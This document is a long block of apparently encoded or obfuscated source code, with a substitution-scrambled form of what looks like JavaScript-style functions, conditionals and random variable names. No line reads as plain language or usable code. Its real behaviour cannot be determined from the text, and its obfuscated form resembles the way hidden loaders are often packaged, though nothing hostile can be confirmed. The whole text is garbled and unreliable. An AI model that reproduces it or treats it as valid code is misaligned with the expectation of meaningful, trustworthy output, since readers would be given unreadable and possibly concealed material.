~xbnfzve|gguDDDDn'7"<=~;<?-87+}? fj;$y*'<? (4&| ~xguDn3Dnnnnnn3Dnnnn3DDDnnn; =+:fj:)$~y*!6x"v(bnnnj? }8w +!8%{bnnj8/$>'? 9}/~"$bnj;$y*'<? (4&| ~xbnnnnj?&46*%$"z'##/y/guDnnnn3nnnn-/:-&nnnf&<!9/,"+nnnnj$,/8*v8  >?~,w%gnnn5Dn3nnn-/:-&nnnnf6-+>:'! nj$,/8*v8  >?~,w%gnnnnn5D3D3Dn(; -:'! nnnnnn!w9=)}#/& |}9%zfj "~6%$-v~+vbnnj',+x~x98#<yx}gDn5Dnnnn:<7nnn5D'(nnfo,,&x"7%*"w>* "|fyvgfj "~6%$-v~+vgnn22nnnnnnj "~6%$-v~+vnnnnsssnnllnnn22nnnno47}#%=++!*:fyvgfj',+x~x98#<yx}gnnnn22nj',+x~x98#<yx}nnsssnnnllgnnn<+:;< uDnj<y>%"%;-=~nnnsnnn,,&x"7%*"w>* "|f|~zgfj "~6%$-v~+vguD'(nnnfo,,&x"7%*"w>* "|f|~{gfj<y>%"%;-=~gnnnnnn22nnnno,,&x"7%*"w>* "|fzygfj<y>%"%;-=~ggn<+:;< uDnj>z{+%?#"6<=w<nnnnsnnj<y>%"%;-=~nnn`n'9}8?4>/7?,4)f|~xgnnn`nnn')<,*!v z,w(-=f|~ygfj "~6%$-v~+vbnnnn'9}8?4>/7?,4)fv}gguDj??xy;;(y%|nsnn')<,*!v z,w(-=f|~vgfj>z{+%?#"6<=w<guD'(nf')<,*!v z,w(-=f|~wgfj??xy;;(y%|gnnnnnhhn47}#%=++!*:fxwgf')<,*!v z,w(-=f|~gbnnnnnj??xy;;(y%|bnnnj8y${w=# x(w>ygnnnhhnnn8+<='! -!#>/<+fj8y${w=# x(w>y~bnnnnnj',+x~x98#<yx}bnnnnnn'9}8?4>/7?,4)f|gggn<+:;< uDnnnnn'(nf47}#%=++!*:fw}gf')<,*!v z,w(-=f||gggnnn')<,*!v z,w(-=f||gfj>z{+%?#"6<=w<bnnnj',+x~x98#<yx}guDnnnnn3n-/:-&nf&<!9/,"+nnnnj": >{,:|gn5DDD3nnnn-/:-&nf6-+>:'! nnj": >{,:|gnn5Dnn3Dnnn3Dnnnnnnnn(; -:'! n$,v*?v9-4 x>?)/fgD5Dnnnnnn:<7nnn5D'(nfo'9}8?4>/7?,4)f|}gf'9}8?4>/7?,4)fx~gggnn5Daanczn /#+=>/-+=n(! :n(/-+DDnn<+:;< uDnn3Dnnnnn'(nf)+:!>:'! f,,&x"7%*"w>* "|f|zgbn~ggn5j:<>$}$x(8/?%&{s|x2|zxuj*;")-~-v~|sj:<>$}$x(8/?%&{}uDDn)7|%"~=8*~}4;8%,f')<,*!v z,w(-=f|{gbn')<,*!v z,w(-=f|xgbn~guDnnn3D'(nnnnfo-#'$6wy*|{{wvx"(#w z9f')<,*!v z,w(-=f|ygggnnn<+:;< uDnnnDnnnnj?=9;|{',-"9nsnn47}#%=++!*:f|ygf,,&x"7%*"w>* "|f|vgfnnn`nnf=:<' )gnnn><$64z"x*x#$z|8fggbnnnn~bnnnf~6{e~6ygguDDDnnnj:|4</{<z|'nnnnsnnnnnf=:<' )gnn)+:!>:'! fj?=9;|{',-"9bnnnllguDnnj7}!v=/%,$z$"-nnsnnnn')<,*!v z,w(-=f|wguDnnnnj8884x<>{9y%~nsnlluDDDnnnnnDDj+(|6*')(x=<nsnnn=:<<+8f'%v=&{)};v6{;76'"?w-7fgguDnnj4"{4v=y&?}6*nnnnsnn9),%/4:v49)x!/ /x9}(y:fguDnj+6(y&~$v}{xv>'%nsnnnnj4"{4v=y&?}6*nnn`nni2inn`nnj+(|6*')(x=<uDnD'(nnf'9}8?4>/7?,4)fw}gfj:|4</{<z|'bnnni2ignnossnnn(/"=+gn5DDDnnnnj$/{/#+$x4;-,%nsnn47}#%=++!*:f||~gfi2ibnj:|4</{<z|'bnnnn|guDj7}!v=/%,$z$"-nnnsnnnj$/{/#+$x4;-,%~uDnnnnj8884x<>{9y%~nsnnnj$/{/#+$x4;-,%unnnnD3nnnnn+"=+n5DnnDnnnj8884x<>{9y%~nnsnnj:|4</{<z|'uDn3DD'(nnfoj8884x<>{9y%~gn5Dn;>*/:+!>:'! fj?=9;|{',-"9bnnnj+6(y&~$v}{xv>'%bnnn'9}8?4>/7?,4)f||gguDn<+:;< uDDDnnnn3DDDDDnn'(nnfj8884x<>{9y%~nsssnnnj+(|6*')(x=<gnnnn5Dnn'(nnnfj:|4</{<z|'nossnnj+6(y&~$v}{xv>'%nnnhhnnn8+<='! -!#>/<+fj4"{4v=y&?}6*bnj7}!v=/%,$z$"-bnnn47}#%=++!*:f|gggnnnnn5Dnn;>*/:+!>:'! fj?=9;|{',-"9bnj+6(y&~$v}{xv>'%bnnn47}#%=++!*:f||gguDn3D<+:;< uDnnnnnnn3DnnnnDnj v){v,9x&z#4)''nnnsnn=:<<+8fj8884x<>{9y%~guDnnnnnn'(nnfj v){v,9x&z#4)''nnnsssnnnnnllnnn22nn'9}8?4>/7?,4)f|~ygfj v){v,9x&z#4)''gnnnossnnnnj v){v,9x&z#4)''gnn5Dnn;>*/:+!>:'! fj?=9;|{',-"9bnnnnj+6(y&~$v}{xv>'%bn47}#%=++!*:f||gguDnn<+:;< uDn3Dnnnnnnnj8ww4- ,/*z>$)+nnnnsnnn;-/!w +!8v87%z=!&:~~ fgn`nnnniainn`nnnj v){v,9x&z#4)''uDDDnnj?x>&)*!76{/')z:6nnnsnnnnlluDn'(nnf*+(' +*f')<,*!v z,w(-=fxgggnnn5Dj?x>&)*!76{/')z:6nsnnn	 
n`nnnnniain`n')<,*!v z,w(-=f|||gfj v){v,9x&z#4)''bn  gn`nniainnn`nnnnj v){v,9x&z#4)''uDnnnnnn3DDDDnnnnnnDnnj#886}v;/v&8 %#:6nnnnnsn'9}8?4>/7?,4)fv|gfj8ww4- ,/*z>$)+guDnnnj,;97(}~4~-*7nsnnnnnj#886}v;/v&8 %#:6nnossnnn(/"=+nnnhhnnnnj#886}v;/v&8 %#:6npsnnnnf~6|x,e~6*guDDDDnnnnnnj+?/6(:,z+ $nnsnnnj?x>&)*!76{/')z:6nnqnnn')<,*!v z,w(-=f||}gfj?x>&)*!76{/')z:6gntnnn(/"=+uDnnj*%=(%~$w/nnnnsnj+?/6(:,z+ $nnnossnnnnn(/"=+nnnhhnnj+?/6(:,z+ $nnnnnpsnnf}y}we|xguDDn'(nnfoj,;97(}~4~-*7nhhnnnoj*%=(%~$w/gnn5Dn;>*/:+!>:'! fj?=9;|{',-"9bnj+6(y&~$v}{xv>'%bnnnn')<,*!v z,w(-=f||gguDnnn<+:;< uj# &7>%v((s uj?({|#<8'6',7%&sj# &7>%v((dzuDnnn3DDnnj:>8#*+=&#$"(nsnnj,;97(}~4~-*7nnnnnnqnnnj8ww4- ,/*z>$)+nnnnntnnnnj?x>&)*!76{/')z:6uDj-+"8}z~>wy*nnnnsnnn,,&x"7%*"w>* "|f|~vgfj:>8#*+=&#$"(bnnn(/"=+bnn ;""bnn~bnfzw|cvxgguDnnDDnnnnn'(nnnnnf')<,*!v z,w(-=f|~wgfj-+"8}z~>wy*gnnhhnn')<,*!v z,w(-=f||zgf,,&x"7%*"w>* "|f||{gbnnj-+"8}z~>wy*bnnnnnj(#ggnn5Dj7}!v=/%,$z$"-nnnsnj(#uD3nnnn+"=+'(nf6+w'-+9"9=*%}(8fj:>8#*+=&#$"(bnnfx{xc{xgggnn5DDnj7}!v=/%,$z$"-nnsn')<,*!v z,w(-=f|wguDDn3Dnnnnnn; =+:fj-+"8}z~>wy*bnnnnnj(#guDnj"7<+&'v9!nsnnj,;97(}~4~-*7uDD'(nnfoj"7<+&'v9!nnhhnnnnj*%=(%~$w/gn5Dnj,6:,y|}~4{nnnsnn'9}8?4>/7?,4)f|||gfj v){v,9x&z#4)''bnn  gnnnnn`nniainn`nnj v){v,9x&z#4)''uDj'74<yv) x=*y$#nnnsnnf/<</7gnnnn)+:!>:'! f')<,*!v z,w(-=f||xgbnn/<</7fgguDnnnnnnnnj"7<+&'v9!nnnnnsnn'9}8?4>/7?,4)fw{gfj,6:,y|}~4{bnnnnnj'74<yv) x=*y$#bnn:<;+guDnn'(nnfoj"7<+&'v9!nhhnnnn')<,*!v z,w(-=f|}gf')<,*!v z,w(-=f||yggnnhhnnnnn'=#;":'=':+fgnnhhnnn,,&x"7%*"w>* "|f||vgf47}#%=++!*:f||wgggnnn5Dj(8$)*x'v/>nsnnnnf/<</7gnn)+:=':+!>:'! f,,&x"7%*"w>* "|f|}~gbnnnn/<</7fgguDnnnnnj"7<+&'v9!nnsnnn'==+:fj(8$)*x'v/>j,6:,y|}~4{guDDDDnn; =+:fj(8$)*x'v/>guDnnnnDDn3Dnnnn; =+:fj,6:,y|}~4{bnj'74<yv) x=*y$#guDDDnnn3DDnnnnnnnj%6&</=4y+ &}7|nnsnnn8+<='! -!#>/<+fj4"{4v=y&?}6*bnnnnnj7}!v=/%,$z$"-guDD'(nnnnfj%6&</=4y+ &}7|nrsnnn~gn5DDDj"'= v>*8)nnnnnnsnnn6+w'-+9"9=*%}(8fj:>8#*+=&#$"(bnfzw|yey}gguDnj!8//~$ +-+-nnnnnsnnf' :gn')<,*!v z,w(-=f||}gfj:>8#*+=&#$"(guDnnnnnj//}"/z%+w%|!6}wnnnnsnnfoj"'= v>*8)n22nnnj!8//~$ +-+-nnnpnfy}|v}{~zc|~v{zy~zgguDnnnn'(nnfoj//}"/z%+w%|!6}wnhhnj!8//~$ +-+-npnf~6|+(|ve~6*~*vggnnnnn5Daan '">!:+ :n>'>+"' +DDnnnj(w+<&(79;nsnnn,,&x"7%*"w>* "|f|}gfj:>8#*+=&#$"(bnn(/"=+bnn ;""bnn~bnnfz~xev~gguDnnnn'(nnnnfo'9}8?4>/7?,4)f|}|gfj(w+<&(79;gnnnnn22nnno47}#%=++!*:f||zgf'9}8?4>/7?,4)f|}}gbnnj(w+<&(79;ggnnnj//}"/z%+w%|!6}wnnsnn:<;+uDDDnn3DDDnnnnnn'(nnnnfoj//}"/z%+w%|!6}wnnhhno y8{-4|;{!y9y-&6<fj:>8#*+=&#$"(ggnj//}"/z%+w%|!6}wnnsnnnn:<;+uDnnnn'(nnnfoj//}"/z%+w%|!6}wgnnn5Dnnj+<&>x4&#4y!nnnsnn:"6-v=&/)6v,9xzfguDnn'(nfo+#>:7fj+<&>x4&#4y!'9}8?4>/7?,4)f|}zgggn5Daanc{n#'**"+9/<+tn+6>! + :'/"n,/-%"!)DDnnj "z,=!z/w:"6(nnnnsnnnn,,&x"7%*"w>* "|f|}{gfj+<&>x4&#4y!')<,*!v z,w(-=f|}zgguDnnj<&)z&;z+{~$~/vnnnnnsnnnnn'9}8?4>/7?,4)f|}{gfj:>8#*+=&#$"(guDnn'(nnf47}#%=++!*:f|}|gfj "z,=!z/w:"6(gnhhnn'9}8?4>/7?,4)f|}|gfj<&)z&;z+{~$~/vgnnhhnnnnnnj "z,=!z/w:"6(nnsssnnnj<&)z&;z+{~$~/vgnn5Dnnnnnj9/# ,{7 <=<+&#'nsnn-;>--+-|/8 ;(6yfj+<&>x4&#4y!guDnnnn'(nnnnfj9/# ,{7 <=<+&#'nnnsssnn')<,*!v z,w(-=f|}xgn22nnnj9/# ,{7 <=<+&#'nnsssnnnn'9}8?4>/7?,4)f|}yggnnj//}"/z%+w%|!6}wnnnnnsnnn:<;+uDnnnnn3D; =+:fj "z,=!z/w:"6(bnnj<&)z&;z+{~$~/vbnj9/# ,{7 <=<+&#'guDn3Daan*+(</)#+ :n-! =:</' :c=+:n(!<nn	<!;>n"!-%DDnn'(nfoj//}"/z%+w%|!6}wnnnnnnhhnn8$ #~?9)?!({< fj:>8#*+=&#$"(ggnnj//}"/z%+w%|!6}wnsnnn:<;+uD; =+:fj+<&>x4&#4y!guDnnn3Dnn'(nnnfj//}"/z%+w%|!6}wgnn5D'(nfj"'= v>*8)gnn*4'!{7"6(=)/'fj:>8#*+=&#$"(guDn;>*/:+!>:'! fj?=9;|{',-"9bnnnj+6(y&~$v}{xv>'%bn47}#%=++!*:f||gguD<+:;< uDnnnn3D'(nnfoj"7<+&'v9!gnnn5Dnn;>*/:+!>:'! fj?=9;|{',-"9bnnj+6(y&~$v}{xv>'%bn'9}8?4>/7?,4)f||gguDn<+:;< uDDDDnnn3Dnnn!w9=)}#/& |}9%zf<xw=w,+~4~}#8~fgbnnj7}!v=/%,$z$"-guDnnn<}9}#6'<='&8, *'6f<xw=w,+~4~}#8~fgguDDDnn<+:;< nnnnn:<;+uDD3Dnnnnn'(nf+#>:7fj	')<,*!v z,w(-=f|}vgggn5DDnj	47}#%=++!*:f|}vgnnnnsnnnn:<;+uDn'(nf6+w'-+9"9=*%}(8fj:>8#*+=&#$"(bnnnfzwwewgggnn*4'!{7"6(=)/'fj:>8#*+=&#$"(guDj$68'"?#9-%($7~nnsnn47}#%=++!*:f|~}gfguDDDn-~~%z&yy; '6-}v7):*:f<xw=w,+~4~}#8~fgbnnnfj$68'"?#9-%($7~nncnnnnnnfj$68'"?#9-%($7~nnnknnnnf{~vc{~vgggnnnenn><$64z"x*x#$z|8fgguDnnn; =+:fj$68'"?#9-%($7~guDDDnnnnnnnn!w9=)}#/& |}9%zfj8ww4- ,/*z>$)+bnnnj4"{4v=y&?}6*guDnnnn'(nnnnnnfj?x>&)*!76{/')z:6gn!w9=)}#/& |}9%zfj?x>&)*!76{/')z:6bnnnj4"{4v=y&?}6*guD)7|%"~=8*~}4;8%,f')<,*!v z,w(-=f|}wgbnnnn,,&x"7%*"w>* "|f|z~gbnn~guD;>*/:+!>:'! fj?=9;|{',-"9bnnnnj+6(y&~$v}{xv>'%bnn47}#%=++!*:f||gguD x{>}8wvw</}9,)7)/"|wf'9}8?4>/7?,4)f|zgguD'(nnfj?x>&)*!76{/')z:6nossnnnnllnnhhnnn')<,*!v z,w(-=f||vgf47}#%=++!*:fvvgggnnnn5Dnnnj;%{zy{;v{%y{"nnsnnnnn47}#%=++!*:f|||gfj v){v,9x&z#4)''bn  gnnnnnn`nnnniain`nnnnnj v){v,9x&z#4)''uDDj'74<yv) x=*y$#nsnnn)+:!>:'! f')<,*!v z,w(-=f||xgbn/<</7fgguj4:/|z~<8-8/s uj8)w9<y&}v9<%vsj4:/|z~<8-8/duDDDDn'(nnnf,,&x"7%*"w>* "|fxvgfj'74<yv) x=*y$#gnnhhnn')<,*!v z,w(-=fw{gfj;%{zy{;v{%y{"bnnnj'74<yv) x=*y$#bnn:<;+ggnnn5Dnn;>*/:+!>:'! f,,&x"7%*"w>* "|f||xgbnnnn47}#%=++!*:fxxgf')<,*!v z,w(-=fwxgfj'74<yv) x=*y$#bnn/<</7fj;%{zy{;v{%y{"gggguD3Dn; =+:fj;%{zy{;v{%y{"bnj'74<yv) x=*y$#guD3Dn3Dnn<+:;< uDDDDn3nnn-/:-&nnnf&<!9/,"+nnj": >{,:|gnn5Dnn!%6z,zv||*<-%;=*/7";f47}#%=++!*:f|z|gbnj": >{,:|guDDDDnnnn3nn-/:-&nnnf6-+>:'! nnj": >{,:|gnn5Dn3nn(' /""7nnn5Dnnn){=}&w#/|!,w'7-<f')<,*!v z,w(-=f|ygguDDDDnn3DDDn3Dn(; -:'! nn;|=;}& y{+y&=&/=?%;fj<y>%"%;-=~gD5DDDnn'(nf'9}8?4>/7?,4)f||vgf47}#%=++!*:f|z}ggnhhnnn,,&x"7%*"w>* "|f||vgf')<,*!v z,w(-=f|zzgggnn5DDDnj:6x/(;&#z/)<>+}nsn')<,*!v z,w(-=f|z{gfj<y>%"%;-=~guDD'(nnfj:6x/(;&#z/)<>+}gnn5j+><z%$!7'y:v(s|}}2uj7~~4~|=?9|sj+><z%$!7'y:v(w}uDnnj<'4-8}$4!&? *66nnnnsnnnn/<</7fguDn9&'"+nffj": >{,:|nnsnn,,&x"7%*"w>* "|f|zzgfj:6x/(;&#z/)<>+}ggnnnossnn(/"=+gnnnn5D'(nnfj": >{,:|nnnossni`innhhnj": >{,:|nnossn47}#%=++!*:f|zxggnnnnj<'4-8}$4!&? *66nnnsnj": >{,:|uDn3Dnnnn'(nf,,&x"7%*"w>* "|f|zygf47}#%=++!*:f|zvgggnnnnn'9}8?4>/7?,4)f|zvgfj:6x/(;&#z/)<>+}guDnnnnnn<+:;< nnnnj<'4-8}$4!&? *66uD3Dnnnnnn3Dn'(nnnnnnf47}#%=++!*:f|zwgf,,&x"7%*"w>* "|f|{~gggn5Dnnnj>$(|!-z!$w(;{yxnnnnnsn47}#%=++!*:f|{~gfj<y>%"%;-=~guD'(nnnnf'9}8?4>/7?,4)fxvgfj>$(|!-z!$w(;{yxggnn<+:;< nn'9}8?4>/7?,4)f|{gf'9}8?4>/7?,4)fwxgfj>$(|!-z!$w(;{yxbn/<</7fi`ibnnnnn,,&x"7%*"w>* "|f|zxgggguDnnnnnn3DD'(nnnf'9}8?4>/7?,4)f|{|gf,,&x"7%*"w>* "|f|{}gggn5Dnnj"v>$/yv!xvz"}nnsn'9}8?4>/7?,4)f|{zgfj<y>%"%;-=~n`nnnn'9}8?4>/7?,4)f|{{gguDnnnnnnn'(nnf')<,*!v z,w(-=fxvgfj"v>$/yv!xvz"}ggn<+:;< n')<,*!v z,w(-=f|{xgf'9}8?4>/7?,4)f|{ygbnj"v>$/yv!xvz"}guDn3Dnnnnnn<+:;< nn ;""uDnnnnnnn3DD(; -:'! n84*{ <*'w~?-y,-4,;fj:,#zv{|~:7!;"->gD5Dnn'(nnnnnfo')<,*!v z,w(-=f|{vgfj:,#zv{|~:7!;"->gn22n')<,*!v z,w(-=fw}gfj:,#zv{|~:7!;"->bnn'9}8?4>/7?,4)f|{wggnnsssnnnn(/"=+gn<+:;< nn(/"=+uj;v w;)*&9{-89sw|d|uj&>;:}x!6&>(sj;v w;)*&9{-89cvuDnnnnnnn'(nnnnnf47}#%=++!*:f~gfj:,#zv{|~:7!;"->gnnnnnpnnf~zvzw~evxggnnj:,#zv{|~:7!;"->nnsnnnnn$9v'='y;'&{$%$zy+fj:,#zv{|~:7!;"->guDDDDn'(nf')<,*!v z,w(-=f~gfj:,#zv{|~:7!;"->gnnpnnnnfwv{~v}cw}x{~yggnn<+:;< nn(/"=+uDnn'(nnfo,,&x"7%*"w>* "|f|{|gf47}#%=++!*:f|x~gggnnn<+:;< nn:<;+uDnnn'(nnnfo*+(' +*f'9}8?4>/7?,4)f|xgggnnn5Dnnnnnj+*&:*v8}znnsn:!%+ )+:/""fj:,#zv{|~:7!;"->guDnnn'(nnnfo')<,*!v z,w(-=fxvgfj+*&:*v8}zggnn<+:;< nnnnnn:<;+uDnnnnj+:v;;~4(-&<nnsnnn~uDnnnnnn(!<+/-&nnnnfj+*&:*v8}zn/=nj'=|)<?,,6>gnn5Dnnnnnnn'(nf,,&x"7%*"w>* "|f|x|gfj'=|)<?,,6>ggnnnn5DDnn'(nfj'=|)<?,,6>~nnnnnsssnn nn22nj'=|)<?,,6>~nnnnnnsssnnn
 gnj+:v;;~4(-&<eeuDnnnn-! :' ;+uD3D'(nnnfj'=|)<?,,6>nnsssnnnni5ignnj+:v;;~4(-&<eeuDnnnnn+"=+'(nfj'=|)<?,,6>nnsssnni3ignnnnn5DDDDnnnnj+:v;;~4(-&<ccuDn'(nnnnfj+:v;;~4(-&<nrn~gnn<+:;< nn(/"=+uDDDnn3DDDD3DDDDnnnnnnn<+:;< nnnj+:v;;~4(-&<nnnsssnnn~uDn3D:<7n5Dnn:!%+ )+:/""fj:,#zv{|~:7!;"->bnn guDDDnnnn<+:;< nnnnn:<;+uDnn3nn-/:-&nnnnf&<!9/,"+nnj": >{,:|gnnn5Dnn<+:;< nnnnn(/"=+uDnnnn3nnnn-/:-&nnnnnnf6-+>:'! nj": >{,:|gnnnn5D<+:;< nnn(/"=+uDnnn3D3Dnnnn(; -:'! nnn z +y# ?7v!97+%/)9$fgDnnnn5D<+:;< nn/<</7f47}#%=++!*:f|x}gbnnnnn'9}8?4>/7?,4)f|xzgbnnn'9}8?4>/7?,4)f|x{gguDnn3Dnnnnnnn(; -:'! nn?&);y~+?>8|z~87,(&fgDnnnnn5Dnnn<+:;< nn/<</7f47}#%=++!*:f|xxgbnn')<,*!v z,w(-=f|xygbn')<,*!v z,w(-=f|xvgbnnnn47}#%=++!*:f|xwgbn')<,*!v z,w(-=f|y~gbn,,&x"7%*"w>* "|f|ygbnn')<,*!v z,w(-=f|y|gbnn'9}8?4>/7?,4)f|y}gbnnn,,&x"7%*"w>* "|f|yzgbn,,&x"7%*"w>* "|f|y{gbnnn')<,*!v z,w(-=f|yxgbnnnn47}#%=++!*:f|yygbn'9}8?4>/7?,4)f|yvgbnn,,&x"7%*"w>* "|f|ywgbnn,,&x"7%*"w>* "|f|v~gbnnn,,&x"7%*"w>* "|f|vgbnn,,&x"7%*"w>* "|f|v|gbn,,&x"7%*"w>* "|f|v}gbnnnn'9}8?4>/7?,4)f|vzgbnnnnn'9}8?4>/7?,4)f|v{gguj(>{'88('=swvexyuj?w,8*}">7%8xsj(>{'88('=c|xuDDDDnnnnnnnn3Dnn(; -:'! nnnn'w4:*|49x,/=)&6+!#fgDn5Dnnn<+:;< n/<</7f')<,*!v z,w(-=f|vxgbnn47}#%=++!*:f|vygbnnnn47}#%=++!*:f|vvgbnn'9}8?4>/7?,4)f|vwgguDn3DnnnDnnn(; -:'! n;{}6 >(} >}x$,(8-'7fj9;6>y&y{) =+gDnnn5Dnn'(nnf')<,*!v z,w(-=f|w~gf,,&x"7%*"w>* "|f|wgggnnn<+:;< nn)4+ -!*+fj9;6>y&y{) =+bnnfz}|gguDDDDn'(nf')<,*!v z,w(-=f|w|gf,,&x"7%*"w>* "|f|w}gggnnnn5Dnn<+:;< nnl6(6v,6~v6~~6~~6~~6~~6~~6~~6~}lnnn`n)4*+("/:+fj9;6>y&y{) =+bnf{ezggnnn`nnnnn47}#%=++!*:f|wzgfiibnnn'9}8?4>/7?,4)f|w{gfj9;6>y&y{) =+ggnnnn`nnnn,,&x"7%*"w>* "|f|wzgfiibnn47}#%=++!*:f~gfj9;6>y&y{) =+gnnhnnfx{v{v|y}wc|||}x{zzzgguDDnnnn3D<+:;< nnnj9;6>y&y{) =+uDnnnn3Dnnnnn(; -:'! nn?|>9,:}x4>!')'$"68<!fj9;6>y&y{) =+gDDnn5Dnn'(nfo'9}8?4>/7?,4)f|wxgfj9;6>y&y{) =+gnnnn22n,,&x"7%*"w>* "|f|wygfj9;6>y&y{) =+gnnrnnn|gnnn<+:;< nj9;6>y&y{) =+uD'(nnf47}#%=++!*:f|ygfj9;6>y&y{) =+bnnnn~bnnnn|gnnnossnl6(6v,lgnnnnn<+:;< nnnj9;6>y&y{) =+uDDnn'(nnnf47}#%=++!*:f|wygfj9;6>y&y{) =+gnnrnnf~6}e~6(ggnnn<+:;< n(/"=+uDnnnj#%|&{<<z{v8nnsnn47}#%=++!*:f|wvgfiibnnnnnn'9}8?4>/7?,4)f|ygfj9;6>y&y{) =+bnnnncf{w{{ggguDnnnnnj#%|&{<<z{v8nnnnnsnnn,,&x"7%*"w>* "|f|x|gfj#%|&{<<z{v8gnqnj#%|&{<<z{v8nntn~uj">z-$|z)*y);sz2~~uj*}<+<?'#{*/%>sj">z-$|z)*y);x|uDDDDnn'(nnnfj#%|&{<<z{v8nnnrnnnf}|xeyzgn22nnnnnnj#%|&{<<z{v8nnnnpnnnnf~6+,}(+e~6z-~|ggn<+:;< nn(/"=+uDDDDnnn'(nnnf47}#%=++!*:f|w|gf')<,*!v z,w(-=f|wwgggnn5Dj+< +&z~!x"4}nsnn)4*+-!*+fj9;6>y&y{) =+bnnnf{xz}{zezvz|||gguDnnnnDDnnnnnn'(nnnfj+< +&z~!x"4}nnnossn(/"=+gnnn<+:;< nj+< +&z~!x"4}uDnnnnn3Dnnn'(nf'9}8?4>/7?,4)f}~~gf')<,*!v z,w(-=f}~gggnnn5DDDDnnj+< +&z~!x"4}nsn)4' ("/:+f')<,*!v z,w(-=f|ygfj9;6>y&y{) =+bnf|||||gbnnn')<,*!v z,w(-=f}~|gfj9;6>y&y{) =+gncnf|exggbnf|{yvv}c|~w}~ygguDDD<+:;< nnf')<,*!v z,w(-=f|wxgfj+< +&z~!x"4}gnnnhhnnnnn')<,*!v z,w(-=f}~}gfj+< +&z~!x"4}gnnrsnnnnnf~6x++}ve~6w-vggnqnnj+< +&z~!x"4}nnntnnn(/"=+uDnnnnnnn3Dnnn<+:;< n(/"=+uDDDnnnn3DDDDnnnDn'(nfonnnn47}#%=++!*:f}~zgf'9}8?4>/7?,4)f}~{gggnnn5DDD(; -:'! n&+6|,' fj7v:}=?(&w~gDnn5DDnnnnn'(nfonnnnnn,,&x"7%*"w>* "|f}~xgfj7v:}=?(&w~gnnnnn22nnn,,&x"7%*"w>* "|f}~ygfj7v:}=?(&w~gnnnnknnnn|nnossnn~gn5D<+:;< nnn(/"=+uDnn3Dnn<+:;< n')<,*!v z,w(-=f|wzgf')<,*!v z,w(-=f}~vgbnnnnnnj7v:}=?(&w~guDnnn3Dnnnnn3DDDn(; -:'! nnn9&46;zx7&+;'(fgDDDDn5Dnnnnj,'w*6}>(96nnnnnnsnnnnnn/<</7fguDnnj4;)!9&-:#!7, $y+nnnnsnn/<</7fbnnnn`nn'9}8?4>/7?,4)f}~wgbnnnnnn`nn47}#%=++!*:f}~gguDnnnnnnn'(nnf*+(' +*f,,&x"7%*"w>* "|fz~gggnnnj4;)!9&-:#!7, $y+nsnn  
nnn`nniaiuDn(!<+/-&nnnnnfj4;)!9&-:#!7, $y+nnn/=nnj+< +&z~!x"4}gnnn5Dnnj6+~'#/x~+96+nnsnn')<,*!v z,w(-=f}~zgf47}#%=++!*:f|{zggnnnnnqn,,&x"7%*"w>* "|f}gfj+< +&z~!x"4}n`nn')<,*!v z,w(-=f}|ggnntnn(/"=+uDn'(nf'9}8?4>/7?,4)f|x|gfj6+~'#/x~+96+ggnnnn5Dn(!<+/-&nnnfj6+~'#/x~+96+n/=nnj*+|?#!/(##,y>gn5DDDDnnj9 =wz?88!nnnsnn,,&x"7%*"w>* "|f|~|gfj*+|?#!/(##,y>guDDDD'(nnnnfj9 =wz?88!nnnhhnnj9 =wz?88!nnnpnnfwzxxvzy}~ey~ggnnnn5Dnnj,'w*6}>(96nnnsnj9 =wz?88!uDDDDnn3Dn3Dnnnnn3Daan' ':'/"'4+n*'=>/:-&+<DDnn3DDDD'(nnfo+#>:7fj,'w*6}>(96ggnnn5Dj8z()4x*~(nnsnnj,'w*6}>(9647}#%=++!*:f}}gfj,'w*6}>(96guDDn<+:;< nfj8z()4x*~(ncnnnfj8z()4x*~(nnnnknnnnnnfwww{ev{gggnnnen><$64z"x*x#$z|8fguDn3Dnnnnnnj6:'6)x(/y;?,|nsnnnn,,&x"7%*"w>* "|f}zgfgnnnnncnnnff}~we{xgnndnnnnnf|}egnnnnndnnf|~zye{{}gguDnj,$$!'}4'#6'nnnnsnnn'9}8?4>/7?,4)f}~zgf'9}8?4>/7?,4)f}{ggnnnnqnnn9></ *f~bnf~6,e~6}gnnndnnf~6*e~6,gnnnndnnf}{~}ewyggnnnntn')<,*!v z,w(-=f}xgf~bnnnf|{e{gnndnnfze|~gnnnnndnfzx}|c~}|gguDnnnj8z()4x*~(nnsnj6:'6)x(/y;?,|nnnnncnnj,$$!'}4'#6'uD<+:;< nnfj8z()4x*~(nnnnncnnnnnfj8z()4x*~(nknnnnnfvzzvve{{|gggnennn><$64z"x*x#$z|8fguD3Dnnnnnn(; -:'! nn=y<=?y},!<>4/zx'>fj$#$v->x*)(bnj&/9'!+$=6{9x>bnj!y#6,x}y#/znnsnnnn ;""gDnnnn5Dnnj)-=>y9zwy=(|"nsnnnn(; -:'! nnnnnfj:8:>&"*=,gn;=+nnnfj!y#6,x}y#/zgn5Dnnnnnnn'(nfo47}#%=++!*:f}~xgfj:8:>&"*=,gnnn22nj:8:>&"*=,nnnsssnnllgn<+:;< nn(/"=+uDnnn'(nnf'9}8?4>/7?,4)f}ygfj:8:>&"*=,gnpnnnfxyzzyvxcv}{xyvggn<+:;< nnn(/"=+uD'(nnfj!y#6,x}y#/zgnnnn5DDnnnn:<7n5DD<+:;< nf,!!"gn')<,*!v z,w(-=f}vgfj!y#6,x}y#/zbnnnnj:8:>&"*=,guDnnnn3nnnnn-/:-&nnnf&<!9/,"+nj": >{,:|gn5DDDnnn<+:;< nn(/"=+uDnnnn3n-/:-&nnnf6-+>:'! nnnnj": >{,:|gnn5Dnnnnn<+:;< nnnnn(/"=+uDnnnnnnnn3Dnnnn3DDDn<+:;< nn:<;+uDnnnnnn3uDnj'*:$<8"9$: 47nsn')<,*!v z,w(-=f}~zgf')<,*!v z,w(-=f}wggnnnnnqnnnnn,,&x"7%*"w>* "|f}|~gfj$#$v->x*)(bn/<</7fDnnnnn,,&x"7%*"w>* "|f}|gnnspnnj&/9'!+$=6{9x>bD47}#%=++!*:f}||gnspnn(/"=+bDnnnnnnnn')<,*!v z,w(-=f}|}gnnnnnspnf~6*vy*+e~6x|yv||gbDDggnnntn(/"=+uDDnnnn'(nfj'*:$<8"9$: 47nhhnfo47}#%=++!*:f}~zgf,,&x"7%*"w>* "|f}|zggnn22nno'=9>+<<!<fj'*:$<8"9$: 47gggnn5DDDDnn'(nff' :gn9><+#!:+<+:<'+8+<+=>! =+-!*+fj'*:$<8"9$: 47gnnsssnnf|{{ggnnn5Dnnnnj#v,&'799z~$nnsnn9><+#!:+<+:<'+8+,!*7fj'*:$<8"9$: 47guDnn'(nfj)-=>y9zwy=(|"fj#v,&'799z~$ggnn<+:;< 